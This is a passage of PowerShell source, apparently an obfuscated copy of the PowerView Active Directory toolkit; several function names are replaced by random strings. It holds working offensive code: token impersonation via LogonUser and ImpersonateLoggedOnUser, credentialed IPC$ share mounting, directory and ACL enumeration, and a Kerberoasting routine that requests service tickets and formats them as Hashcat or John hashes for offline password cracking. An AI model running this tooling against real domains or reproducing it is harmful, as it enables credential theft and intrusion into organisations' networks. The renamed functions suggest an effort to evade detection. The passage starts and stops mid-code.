'S-1-5-32-547' { 'BUILTIN\Power Users' } | |
'S-1-5-32-548' { 'BUILTIN\Account Operators' } | |
'S-1-5-32-549' { 'BUILTIN\Server Operators' } | |
'S-1-5-32-550' { 'BUILTIN\Print Operators' } | |
'S-1-5-32-551' { 'BUILTIN\Backup Operators' } | |
'S-1-5-32-552' { 'BUILTIN\Replicators' } | |
'S-1-5-32-554' { 'BUILTIN\Pre-Windows 2000 Compatible Access' } | |
'S-1-5-32-555' { 'BUILTIN\Remote Desktop Users' } | |
'S-1-5-32-556' { 'BUILTIN\Network Configuration Operators' } | |
'S-1-5-32-557' { 'BUILTIN\Incoming Forest Trust Builders' } | |
'S-1-5-32-558' { 'BUILTIN\Performance Monitor Users' } | |
'S-1-5-32-559' { 'BUILTIN\Performance Log Users' } | |
'S-1-5-32-560' { 'BUILTIN\Windows Authorization Access Group' } | |
'S-1-5-32-561' { 'BUILTIN\Terminal Server License Servers' } | |
'S-1-5-32-562' { 'BUILTIN\Distributed COM Users' } | |
'S-1-5-32-569' { 'BUILTIN\Cryptographic Operators' } | |
'S-1-5-32-573' { 'BUILTIN\Event Log Readers' } | |
'S-1-5-32-574' { 'BUILTIN\Certificate Service DCOM Access' } | |
'S-1-5-32-575' { 'BUILTIN\RDS Remote Access Servers' } | |
'S-1-5-32-576' { 'BUILTIN\RDS Endpoint Servers' } | |
'S-1-5-32-577' { 'BUILTIN\RDS Management Servers' } | |
'S-1-5-32-578' { 'BUILTIN\Hyper-V Administrators' } | |
'S-1-5-32-579' { 'BUILTIN\Access Control Assistance Operators' } | |
'S-1-5-32-580' { 'BUILTIN\Access Control Assistance Operators' } | |
Default { | |
Convert-ADName -Identity $TargetSid @ADNameArguments | |
} | |
} | |
} | |
catch { | |
Write-Verbose "[ConvertFrom-SID] Error converting SID '$TargetSid' : $_" | |
} | |
} | |
} | |
} | |
function Convert-ADName { | |
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] | |
[OutputType([String])] | |
[CmdletBinding()] | |
Param( | |
[Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] | |
[Alias('Name', 'ObjectName')] | |
[String[]] | |
$Identity, | |
[String] | |
[ValidateSet('DN', 'Canonical', 'NT4', 'Display', 'DomainSimple', 'EnterpriseSimple', 'GUID', 'Unknown', 'UPN', 'CanonicalEx', 'SPN')] | |
$OutputType, | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$Domain, | |
[ValidateNotNullOrEmpty()] | |
[Alias('DomainController')] | |
[String] | |
$Server, | |
[Management.Automation.PSCredential] | |
[Management.Automation.CredentialAttribute()] | |
$Credential = [Management.Automation.PSCredential]::Empty | |
) | |
BEGIN { | |
$NameTypes = @{ | |
'DN' = 1 | |
'Canonical' = 2 | |
'NT4' = 3 | |
'Display' = 4 | |
'DomainSimple' = 5 | |
'EnterpriseSimple' = 6 | |
'GUID' = 7 | |
'Unknown' = 8 | |
'UPN' = 9 | |
'CanonicalEx' = 10 | |
'SPN' = 11 | |
'SID' = 12 | |
} | |
function Invoke-Method([__ComObject] $Object, [String] $Method, $Parameters) { | |
$Output = $Null | |
$Output = $Object.GetType().InvokeMember($Method, 'InvokeMethod', $NULL, $Object, $Parameters) | |
Write-Output $Output | |
} | |
function Get-Property([__ComObject] $Object, [String] $Property) { | |
$Object.GetType().InvokeMember($Property, 'GetProperty', $NULL, $Object, $NULL) | |
} | |
function Set-Property([__ComObject] $Object, [String] $Property, $Parameters) { | |
[Void] $Object.GetType().InvokeMember($Property, 'SetProperty', $NULL, $Object, $Parameters) | |
} | |
if ($PSBoundParameters['Server']) { | |
$ADSInitType = 2 | |
$InitName = $Server | |
} | |
elseif ($PSBoundParameters['Domain']) { | |
$ADSInitType = 1 | |
$InitName = $Domain | |
} | |
elseif ($PSBoundParameters['Credential']) { | |
$Cred = $Credential.GetNetworkCredential() | |
$ADSInitType = 1 | |
$InitName = $Cred.Domain | |
} | |
else { | |
$ADSInitType = 3 | |
$InitName = $Null | |
} | |
} | |
PROCESS { | |
ForEach ($TargetIdentity in $Identity) { | |
if (-not $PSBoundParameters['OutputType']) { | |
if ($TargetIdentity -match "^[A-Za-z]+\\[A-Za-z ]+") { | |
$ADSOutputType = $NameTypes['DomainSimple'] | |
} | |
else { | |
$ADSOutputType = $NameTypes['NT4'] | |
} | |
} | |
else { | |
$ADSOutputType = $NameTypes[$OutputType] | |
} | |
$Translate = New-Object -ComObject NameTranslate | |
if ($PSBoundParameters['Credential']) { | |
try { | |
$Cred = $Credential.GetNetworkCredential() | |
Invoke-Method $Translate 'InitEx' ( | |
$ADSInitType, | |
$InitName, | |
$Cred.UserName, | |
$Cred.Domain, | |
$Cred.Password | |
) | |
} | |
catch { | |
Write-Verbose "[Convert-ADName] Error initializing translation for '$Identity' using alternate credentials : $_" | |
} | |
} | |
else { | |
try { | |
$Null = Invoke-Method $Translate 'Init' ( | |
$ADSInitType, | |
$InitName | |
) | |
} | |
catch { | |
Write-Verbose "[Convert-ADName] Error initializing translation for '$Identity' : $_" | |
} | |
} | |
Set-Property $Translate 'ChaseReferral' (0x60) | |
try { | |
$Null = Invoke-Method $Translate 'Set' (8, $TargetIdentity) | |
Invoke-Method $Translate 'Get' ($ADSOutputType) | |
} | |
catch [System.Management.Automation.MethodInvocationException] { | |
Write-Verbose "[Convert-ADName] Error translating '$TargetIdentity' : $($_.Exception.InnerException.Message)" | |
} | |
} | |
} | |
} | |
function ConvertFrom-UACValue { | |
[OutputType('System.Collections.Specialized.OrderedDictionary')] | |
[CmdletBinding()] | |
Param( | |
[Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] | |
[Alias('UAC', 'useraccountcontrol')] | |
[Int] | |
$Value, | |
[Switch] | |
$ShowAll | |
) | |
BEGIN { | |
$UACValues = New-Object System.Collections.Specialized.OrderedDictionary | |
$UACValues.Add("SCRIPT", 1) | |
$UACValues.Add("ACCOUNTDISABLE", 2) | |
$UACValues.Add("HOMEDIR_REQUIRED", 8) | |
$UACValues.Add("LOCKOUT", 16) | |
$UACValues.Add("PASSWD_NOTREQD", 32) | |
$UACValues.Add("PASSWD_CANT_CHANGE", 64) | |
$UACValues.Add("ENCRYPTED_TEXT_PWD_ALLOWED", 128) | |
$UACValues.Add("TEMP_DUPLICATE_ACCOUNT", 256) | |
$UACValues.Add("NORMAL_ACCOUNT", 512) | |
$UACValues.Add("INTERDOMAIN_TRUST_ACCOUNT", 2048) | |
$UACValues.Add("WORKSTATION_TRUST_ACCOUNT", 4096) | |
$UACValues.Add("SERVER_TRUST_ACCOUNT", 8192) | |
$UACValues.Add("DONT_EXPIRE_PASSWORD", 65536) | |
$UACValues.Add("MNS_LOGON_ACCOUNT", 131072) | |
$UACValues.Add("SMARTCARD_REQUIRED", 262144) | |
$UACValues.Add("TRUSTED_FOR_DELEGATION", 524288) | |
$UACValues.Add("NOT_DELEGATED", 1048576) | |
$UACValues.Add("USE_DES_KEY_ONLY", 2097152) | |
$UACValues.Add("DONT_REQ_PREAUTH", 4194304) | |
$UACValues.Add("PASSWORD_EXPIRED", 8388608) | |
$UACValues.Add("TRUSTED_TO_AUTH_FOR_DELEGATION", 16777216) | |
$UACValues.Add("PARTIAL_SECRETS_ACCOUNT", 67108864) | |
} | |
PROCESS { | |
$ResultUACValues = New-Object System.Collections.Specialized.OrderedDictionary | |
if ($ShowAll) { | |
ForEach ($UACValue in $UACValues.GetEnumerator()) { | |
if ( ($Value -band $UACValue.Value) -eq $UACValue.Value) { | |
$ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)+") | |
} | |
else { | |
$ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)") | |
} | |
} | |
} | |
else { | |
ForEach ($UACValue in $UACValues.GetEnumerator()) { | |
if ( ($Value -band $UACValue.Value) -eq $UACValue.Value) { | |
$ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)") | |
} | |
} | |
} | |
$ResultUACValues | |
} | |
} | |
function T8NPHIYY { | |
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] | |
[CmdletBinding()] | |
Param( | |
[Parameter(Position = 0, Mandatory = $True)] | |
[Alias('GroupName', 'GroupIdentity')] | |
[String] | |
$Identity, | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$Domain, | |
[Management.Automation.PSCredential] | |
[Management.Automation.CredentialAttribute()] | |
$Credential = [Management.Automation.PSCredential]::Empty | |
) | |
Add-Type -AssemblyName System.DirectoryServices.AccountManagement | |
try { | |
if ($PSBoundParameters['Domain'] -or ($Identity -match '.+\\.+')) { | |
if ($Identity -match '.+\\.+') { | |
$ConvertedIdentity = $Identity | Convert-ADName -OutputType Canonical | |
if ($ConvertedIdentity) { | |
$ConnectTarget = $ConvertedIdentity.SubString(0, $ConvertedIdentity.IndexOf('/')) | |
$ObjectIdentity = $Identity.Split('\')[1] | |
Write-Verbose "[T8NPHIYY] Binding to domain '$ConnectTarget'" | |
} | |
} | |
else { | |
$ObjectIdentity = $Identity | |
Write-Verbose "[T8NPHIYY] Binding to domain '$Domain'" | |
$ConnectTarget = $Domain | |
} | |
if ($PSBoundParameters['Credential']) { | |
Write-Verbose '[T8NPHIYY] Using alternate credentials' | |
$Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain, $ConnectTarget, $Credential.UserName, $Credential.GetNetworkCredential().Password) | |
} | |
else { | |
$Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain, $ConnectTarget) | |
} | |
} | |
else { | |
if ($PSBoundParameters['Credential']) { | |
Write-Verbose '[T8NPHIYY] Using alternate credentials' | |
$DomainName = Get-Domain | Select-Object -ExpandProperty Name | |
$Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain, $DomainName, $Credential.UserName, $Credential.GetNetworkCredential().Password) | |
} | |
else { | |
$Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain) | |
} | |
$ObjectIdentity = $Identity | |
} | |
$Out = New-Object PSObject | |
$Out | Add-Member Noteproperty 'Context' $Context | |
$Out | Add-Member Noteproperty 'Identity' $ObjectIdentity | |
$Out | |
} | |
catch { | |
Write-Warning "[T8NPHIYY] Error creating binding for object ('$Identity') context : $_" | |
} | |
} | |
function CFRACMAT { | |
[CmdletBinding(DefaultParameterSetName = 'ComputerName')] | |
Param( | |
[Parameter(Position = 0, Mandatory = $True, ParameterSetName = 'ComputerName', ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] | |
[Alias('HostName', 'dnshostname', 'name')] | |
[ValidateNotNullOrEmpty()] | |
[String[]] | |
$ComputerName, | |
[Parameter(Position = 0, ParameterSetName = 'Path', Mandatory = $True)] | |
[ValidatePattern('\\\\.*\\.*')] | |
[String[]] | |
$Path, | |
[Parameter(Mandatory = $True)] | |
[Management.Automation.PSCredential] | |
[Management.Automation.CredentialAttribute()] | |
$Credential | |
) | |
BEGIN { | |
$NetResourceInstance = [Activator]::CreateInstance($NETRESOURCEW) | |
$NetResourceInstance.dwType = 1 | |
} | |
PROCESS { | |
$Paths = @() | |
if ($PSBoundParameters['ComputerName']) { | |
ForEach ($TargetComputerName in $ComputerName) { | |
$TargetComputerName = $TargetComputerName.Trim('\') | |
$Paths += ,"\\$TargetComputerName\IPC$" | |
} | |
} | |
else { | |
$Paths += ,$Path | |
} | |
ForEach ($TargetPath in $Paths) { | |
$NetResourceInstance.lpRemoteName = $TargetPath | |
Write-Verbose "[CFRACMAT] Attempting to mount: $TargetPath" | |
$Result = $Mpr::WNetAddConnection2W($NetResourceInstance, $Credential.GetNetworkCredential().Password, $Credential.UserName, 4) | |
if ($Result -eq 0) { | |
Write-Verbose "$TargetPath successfully mounted" | |
} | |
else { | |
Throw "[CFRACMAT] error mounting $TargetPath : $(([ComponentModel.Win32Exception]$Result).Message)" | |
} | |
} | |
} | |
} | |
function P4Y3VQQR { | |
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] | |
[CmdletBinding(DefaultParameterSetName = 'ComputerName')] | |
Param( | |
[Parameter(Position = 0, Mandatory = $True, ParameterSetName = 'ComputerName', ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] | |
[Alias('HostName', 'dnshostname', 'name')] | |
[ValidateNotNullOrEmpty()] | |
[String[]] | |
$ComputerName, | |
[Parameter(Position = 0, ParameterSetName = 'Path', Mandatory = $True)] | |
[ValidatePattern('\\\\.*\\.*')] | |
[String[]] | |
$Path | |
) | |
PROCESS { | |
$Paths = @() | |
if ($PSBoundParameters['ComputerName']) { | |
ForEach ($TargetComputerName in $ComputerName) { | |
$TargetComputerName = $TargetComputerName.Trim('\') | |
$Paths += ,"\\$TargetComputerName\IPC$" | |
} | |
} | |
else { | |
$Paths += ,$Path | |
} | |
ForEach ($TargetPath in $Paths) { | |
Write-Verbose "[P4Y3VQQR] Attempting to unmount: $TargetPath" | |
$Result = $Mpr::WNetCancelConnection2($TargetPath, 0, $True) | |
if ($Result -eq 0) { | |
Write-Verbose "$TargetPath successfully ummounted" | |
} | |
else { | |
Throw "[P4Y3VQQR] error unmounting $TargetPath : $(([ComponentModel.Win32Exception]$Result).Message)" | |
} | |
} | |
} | |
} | |
function N00NHJ8I { | |
[OutputType([IntPtr])] | |
[CmdletBinding(DefaultParameterSetName = 'Credential')] | |
Param( | |
[Parameter(Mandatory = $True, ParameterSetName = 'Credential')] | |
[Management.Automation.PSCredential] | |
[Management.Automation.CredentialAttribute()] | |
$Credential, | |
[Parameter(Mandatory = $True, ParameterSetName = 'TokenHandle')] | |
[ValidateNotNull()] | |
[IntPtr] | |
$TokenHandle, | |
[Switch] | |
$Quiet | |
) | |
if (([System.Threading.Thread]::CurrentThread.GetApartmentState() -ne 'STA') -and (-not $PSBoundParameters['Quiet'])) { | |
Write-Warning "[N00NHJ8I] powershell.exe is not currently in a single-threaded apartment state, token impersonation may not work." | |
} | |
if ($PSBoundParameters['TokenHandle']) { | |
$LogonTokenHandle = $TokenHandle | |
} | |
else { | |
$LogonTokenHandle = [IntPtr]::Zero | |
$NetworkCredential = $Credential.GetNetworkCredential() | |
$UserDomain = $NetworkCredential.Domain | |
$UserName = $NetworkCredential.UserName | |
Write-Warning "[N00NHJ8I] Executing LogonUser() with user: $($UserDomain)\$($UserName)" | |
$Result = $Advapi32::LogonUser($UserName, $UserDomain, $NetworkCredential.Password, 9, 3, [ref]$LogonTokenHandle);$LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error(); | |
if (-not $Result) { | |
throw "[N00NHJ8I] LogonUser() Error: $(([ComponentModel.Win32Exception] $LastError).Message)" | |
} | |
} | |
$Result = $Advapi32::ImpersonateLoggedOnUser($LogonTokenHandle) | |
if (-not $Result) { | |
throw "[N00NHJ8I] ImpersonateLoggedOnUser() Error: $(([ComponentModel.Win32Exception] $LastError).Message)" | |
} | |
Write-Verbose "[N00NHJ8I] Alternate credentials successfully impersonated" | |
$LogonTokenHandle | |
} | |
function ZPJ0WOMD { | |
[CmdletBinding()] | |
Param( | |
[ValidateNotNull()] | |
[IntPtr] | |
$TokenHandle | |
) | |
if ($PSBoundParameters['TokenHandle']) { | |
Write-Warning "[ZPJ0WOMD] Reverting token impersonation and closing LogonUser() token handle" | |
$Result = $Kernel32::CloseHandle($TokenHandle) | |
} | |
$Result = $Advapi32::RevertToSelf();$LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error(); | |
if (-not $Result) { | |
throw "[ZPJ0WOMD] RevertToSelf() Error: $(([ComponentModel.Win32Exception] $LastError).Message)" | |
} | |
Write-Verbose "[ZPJ0WOMD] Token impersonation successfully reverted" | |
} | |
function KL5JKXPU { | |
[OutputType('PowerView.SPNTicket')] | |
[CmdletBinding(DefaultParameterSetName = 'RawSPN')] | |
Param ( | |
[Parameter(Position = 0, ParameterSetName = 'RawSPN', Mandatory = $True, ValueFromPipeline = $True)] | |
[ValidatePattern('.*/.*')] | |
[Alias('ServicePrincipalName')] | |
[String[]] | |
$SPN, | |
[Parameter(Position = 0, ParameterSetName = 'User', Mandatory = $True, ValueFromPipeline = $True)] | |
[ValidateScript({ $_.PSObject.TypeNames[0] -eq 'PowerView.User' })] | |
[Object[]] | |
$User, | |
[ValidateSet('John', 'Hashcat')] | |
[Alias('Format')] | |
[String] | |
$OutputFormat = 'Hashcat', | |
[Management.Automation.PSCredential] | |
[Management.Automation.CredentialAttribute()] | |
$Credential = [Management.Automation.PSCredential]::Empty | |
) | |
BEGIN { | |
$Null = [Reflection.Assembly]::LoadWithPartialName('System.IdentityModel') | |
if ($PSBoundParameters['Credential']) { | |
$LogonToken = N00NHJ8I -Credential $Credential | |
} | |
} | |
PROCESS { | |
if ($PSBoundParameters['User']) { | |
$TargetObject = $User | |
} | |
else { | |
$TargetObject = $SPN | |
} | |
ForEach ($Object in $TargetObject) { | |
if ($PSBoundParameters['User']) { | |
$UserSPN = $Object.ServicePrincipalName | |
$SamAccountName = $Object.SamAccountName | |
$DistinguishedName = $Object.DistinguishedName | |
} | |
else { | |
$UserSPN = $Object | |
$SamAccountName = 'UNKNOWN' | |
$DistinguishedName = 'UNKNOWN' | |
} | |
if ($UserSPN -is [System.DirectoryServices.ResultPropertyValueCollection]) { | |
$UserSPN = $UserSPN[0] | |
} | |
try { | |
$Ticket = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $UserSPN | |
} | |
catch { | |
Write-Warning "[KL5JKXPU] Error requesting ticket for SPN '$UserSPN' from user '$DistinguishedName' : $_" | |
} | |
if ($Ticket) { | |
$TicketByteStream = $Ticket.GetRequest() | |
} | |
if ($TicketByteStream) { | |
$Out = New-Object PSObject | |
$TicketHexStream = [System.BitConverter]::ToString($TicketByteStream) -replace '-' | |
$Out | Add-Member Noteproperty 'SamAccountName' $SamAccountName | |
$Out | Add-Member Noteproperty 'DistinguishedName' $DistinguishedName | |
$Out | Add-Member Noteproperty 'ServicePrincipalName' $Ticket.ServicePrincipalName | |
if($TicketHexStream -match 'a382....3082....A0030201(?<EtypeLen>..)A1.{1,4}.......A282(?<CipherTextLen>....)........(?<DataToEnd>.+)') { | |
$Etype = [Convert]::ToByte( $Matches.EtypeLen, 16 ) | |
$CipherTextLen = [Convert]::ToUInt32($Matches.CipherTextLen, 16)-4 | |
$CipherText = $Matches.DataToEnd.Substring(0,$CipherTextLen*2) | |
if($Matches.DataToEnd.Substring($CipherTextLen*2, 4) -ne 'A482') { | |
Write-Warning "Error parsing ciphertext for the SPN $($Ticket.ServicePrincipalName). Use the TicketByteHexStream field and extract the hash offline with Get-KerberoastHashFromAPReq" | |
$Hash = $null | |
$Out | Add-Member Noteproperty 'TicketByteHexStream' ([Bitconverter]::ToString($TicketByteStream).Replace('-','')) | |
} else { | |
$Hash = "$($CipherText.Substring(0,32))`$$($CipherText.Substring(32))" | |
$Out | Add-Member Noteproperty 'TicketByteHexStream' $null | |
} | |
} else { | |
Write-Warning "Unable to parse ticket structure for the SPN $($Ticket.ServicePrincipalName). Use the TicketByteHexStream field and extract the hash offline with Get-KerberoastHashFromAPReq" | |
$Hash = $null | |
$Out | Add-Member Noteproperty 'TicketByteHexStream' ([Bitconverter]::ToString($TicketByteStream).Replace('-','')) | |
} | |
if($Hash) { | |
if ($OutputFormat -match 'John') { | |
$HashFormat = "`$krb5tgs`$$($Ticket.ServicePrincipalName):$Hash" | |
} | |
else { | |
if ($DistinguishedName -ne 'UNKNOWN') { | |
$UserDomain = $DistinguishedName.SubString($DistinguishedName.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' | |
} | |
else { | |
$UserDomain = 'UNKNOWN' | |
} | |
$HashFormat = "`$krb5tgs`$$($Etype)`$*$SamAccountName`$$UserDomain`$$($Ticket.ServicePrincipalName)*`$$Hash" | |
} | |
$Out | Add-Member Noteproperty 'Hash' $HashFormat | |
} | |
$Out.PSObject.TypeNames.Insert(0, 'PowerView.SPNTicket') | |
$Out | |
} | |
} | |
} | |
END { | |
if ($LogonToken) { | |
ZPJ0WOMD -TokenHandle $LogonToken | |
} | |
} | |
} | |
function Invoke-Kerberoast { | |
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] | |
[OutputType('PowerView.SPNTicket')] | |
[CmdletBinding()] | |
Param( | |
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] | |
[Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')] | |
[String[]] | |
$Identity, | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$Domain, | |
[ValidateNotNullOrEmpty()] | |
[Alias('Filter')] | |
[String] | |
$LDAPFilter, | |
[ValidateNotNullOrEmpty()] | |
[Alias('ADSPath')] | |
[String] | |
$SearchBase, | |
[ValidateNotNullOrEmpty()] | |
[Alias('DomainController')] | |
[String] | |
$Server, | |
[ValidateSet('Base', 'OneLevel', 'Subtree')] | |
[String] | |
$SearchScope = 'Subtree', | |
[ValidateRange(1, 10000)] | |
[Int] | |
$ResultPageSize = 200, | |
[ValidateRange(1, 10000)] | |
[Int] | |
$ServerTimeLimit, | |
[Switch] | |
$Tombstone, | |
[ValidateSet('John', 'Hashcat')] | |
[Alias('Format')] | |
[String] | |
$OutputFormat = 'Hashcat', | |
[Management.Automation.PSCredential] | |
[Management.Automation.CredentialAttribute()] | |
$Credential = [Management.Automation.PSCredential]::Empty | |
) | |
BEGIN { | |
$UserSearcherArguments = @{ | |
'SPN' = $True | |
'Properties' = 'samaccountname,distinguishedname,serviceprincipalname' | |
} | |
if ($PSBoundParameters['Domain']) { $UserSearcherArguments['Domain'] = $Domain } | |
if ($PSBoundParameters['LDAPFilter']) { $UserSearcherArguments['LDAPFilter'] = $LDAPFilter } | |
if ($PSBoundParameters['SearchBase']) { $UserSearcherArguments['SearchBase'] = $SearchBase } | |
if ($PSBoundParameters['Server']) { $UserSearcherArguments['Server'] = $Server } | |
if ($PSBoundParameters['SearchScope']) { $UserSearcherArguments['SearchScope'] = $SearchScope } | |
if ($PSBoundParameters['ResultPageSize']) { $UserSearcherArguments['ResultPageSize'] = $ResultPageSize } | |
if ($PSBoundParameters['ServerTimeLimit']) { $UserSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } | |
if ($PSBoundParameters['Tombstone']) { $UserSearcherArguments['Tombstone'] = $Tombstone } | |
if ($PSBoundParameters['Credential']) { $UserSearcherArguments['Credential'] = $Credential } | |
if ($PSBoundParameters['Credential']) { | |
$LogonToken = N00NHJ8I -Credential $Credential | |
} | |
} | |
PROCESS { | |
if ($PSBoundParameters['Identity']) { $UserSearcherArguments['Identity'] = $Identity } | |
C52BTCXM @UserSearcherArguments | Where-Object {$_.samaccountname -ne 'krbtgt'} | KL5JKXPU -OutputFormat $OutputFormat | |
} | |
END { | |
if ($LogonToken) { | |
ZPJ0WOMD -TokenHandle $LogonToken | |
} | |
} | |
} | |
function ET36BZYW { | |
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] | |
[OutputType('PowerView.FileACL')] | |
[CmdletBinding()] | |
Param( | |
[Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] | |
[Alias('FullName')] | |
[String[]] | |
$Path, | |
[Management.Automation.PSCredential] | |
[Management.Automation.CredentialAttribute()] | |
$Credential = [Management.Automation.PSCredential]::Empty | |
) | |
BEGIN { | |
function TGIOOZAP { | |
[CmdletBinding()] | |
Param( | |
[Int] | |
$FSR | |
) | |
$AccessMask = @{ | |
[uint32]'0x80000000' = 'GenericRead' | |
[uint32]'0x40000000' = 'GenericWrite' | |
[uint32]'0x20000000' = 'GenericExecute' | |
[uint32]'0x10000000' = 'GenericAll' | |
[uint32]'0x02000000' = 'MaximumAllowed' | |
[uint32]'0x01000000' = 'AccessSystemSecurity' | |
[uint32]'0x00100000' = 'Synchronize' | |
[uint32]'0x00080000' = 'WriteOwner' | |
[uint32]'0x00040000' = 'WriteDAC' | |
[uint32]'0x00020000' = 'ReadControl' | |
[uint32]'0x00010000' = 'Delete' | |
[uint32]'0x00000100' = 'WriteAttributes' | |
[uint32]'0x00000080' = 'ReadAttributes' | |
[uint32]'0x00000040' = 'DeleteChild' | |
[uint32]'0x00000020' = 'Execute/Traverse' | |
[uint32]'0x00000010' = 'WriteExtendedAttributes' | |
[uint32]'0x00000008' = 'ReadExtendedAttributes' | |
[uint32]'0x00000004' = 'AppendData/AddSubdirectory' | |
[uint32]'0x00000002' = 'WriteData/AddFile' | |
[uint32]'0x00000001' = 'ReadData/ListDirectory' | |
} | |
$SimplePermissions = @{ | |
[uint32]'0x1f01ff' = 'FullControl' | |
[uint32]'0x0301bf' = 'Modify' | |
[uint32]'0x0200a9' = 'ReadAndExecute' | |
[uint32]'0x02019f' = 'ReadAndWrite' | |
[uint32]'0x020089' = 'Read' | |
[uint32]'0x000116' = 'Write' | |
} | |
$Permissions = @() | |
$Permissions += $SimplePermissions.Keys | ForEach-Object { | |
if (($FSR -band $_) -eq $_) { | |
$SimplePermissions[$_] | |
$FSR = $FSR -band (-not $_) | |
} | |
} | |
$Permissions += $AccessMask.Keys | Where-Object { $FSR -band $_ } | ForEach-Object { $AccessMask[$_] } | |
($Permissions | Where-Object {$_}) -join ',' | |
} | |
$ConvertArguments = @{} | |
if ($PSBoundParameters['Credential']) { $ConvertArguments['Credential'] = $Credential } | |
$MappedComputers = @{} | |
} | |
PROCESS { | |
ForEach ($TargetPath in $Path) { | |
try { | |
if (($TargetPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) { | |
$HostComputer = (New-Object System.Uri($TargetPath)).Host | |
if (-not $MappedComputers[$HostComputer]) { | |
CFRACMAT -ComputerName $HostComputer -Credential $Credential | |
$MappedComputers[$HostComputer] = $True | |
} | |
} | |
$ACL = Get-Acl -Path $TargetPath | |
$ACL.GetAccessRules($True, $True, [System.Security.Principal.SecurityIdentifier]) | ForEach-Object { | |
$SID = $_.IdentityReference.Value | |
$Name = ConvertFrom-SID -ObjectSID $SID @ConvertArguments | |
$Out = New-Object PSObject | |
$Out | Add-Member Noteproperty 'Path' $TargetPath | |
$Out | Add-Member Noteproperty 'FileSystemRights' (TGIOOZAP -FSR $_.FileSystemRights.value__) | |
$Out | Add-Member Noteproperty 'IdentityReference' $Name | |
$Out | Add-Member Noteproperty 'IdentitySID' $SID | |
$Out | Add-Member Noteproperty 'AccessControlType' $_.AccessControlType | |
$Out.PSObject.TypeNames.Insert(0, 'PowerView.FileACL') | |
$Out | |
} | |
} | |
catch { | |
Write-Verbose "[ET36BZYW] error: $_" | |
} | |
} | |
} | |
END { | |
$MappedComputers.Keys | P4Y3VQQR | |
} | |
} | |
function Convert-LDAPProperty { | |
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] | |
[OutputType('System.Management.Automation.PSCustomObject')] | |
[CmdletBinding()] | |
Param( | |
[Parameter(Mandatory = $True, ValueFromPipeline = $True)] | |
[ValidateNotNullOrEmpty()] | |
$Properties | |
) | |
$ObjectProperties = @{} | |
$Properties.PropertyNames | ForEach-Object { | |
if ($_ -ne 'adspath') { | |
if (($_ -eq 'objectsid') -or ($_ -eq 'sidhistory')) { | |
$ObjectProperties[$_] = $Properties[$_] | ForEach-Object { (New-Object System.Security.Principal.SecurityIdentifier($_, 0)).Value } | |
} | |
elseif ($_ -eq 'grouptype') { | |
$ObjectProperties[$_] = $Properties[$_][0] -as $GroupTypeEnum | |
} | |
elseif ($_ -eq 'samaccounttype') { | |
$ObjectProperties[$_] = $Properties[$_][0] -as $SamAccountTypeEnum | |
} | |
elseif ($_ -eq 'objectguid') { | |
$ObjectProperties[$_] = (New-Object Guid (,$Properties[$_][0])).Guid | |
} | |
elseif ($_ -eq 'useraccountcontrol') { | |
$ObjectProperties[$_] = $Properties[$_][0] -as $UACEnum | |
} | |
elseif ($_ -eq 'ntsecuritydescriptor') { | |
$Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $Properties[$_][0], 0 | |
if ($Descriptor.Owner) { | |
$ObjectProperties['Owner'] = $Descriptor.Owner | |
} | |
if ($Descriptor.Group) { | |
$ObjectProperties['Group'] = $Descriptor.Group | |
} | |
if ($Descriptor.DiscretionaryAcl) { | |
$ObjectProperties['DiscretionaryAcl'] = $Descriptor.DiscretionaryAcl | |
} | |
if ($Descriptor.SystemAcl) { | |
$ObjectProperties['SystemAcl'] = $Descriptor.SystemAcl | |
} | |
} | |
elseif ($_ -eq 'accountexpires') { | |
if ($Properties[$_][0] -gt [DateTime]::MaxValue.Ticks) { | |
$ObjectProperties[$_] = "NEVER" | |
} | |
else { | |
$ObjectProperties[$_] = [datetime]::fromfiletime($Properties[$_][0]) | |
} | |
} | |
elseif ( ($_ -eq 'lastlogon') -or ($_ -eq 'lastlogontimestamp') -or ($_ -eq 'pwdlastset') -or ($_ -eq 'lastlogoff') -or ($_ -eq 'badPasswordTime') ) { | |
if ($Properties[$_][0] -is [System.MarshalByRefObject]) { | |
$Temp = $Properties[$_][0] | |
[Int32]$High = $Temp.GetType().InvokeMember('HighPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null) | |
[Int32]$Low = $Temp.GetType().InvokeMember('LowPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null) | |
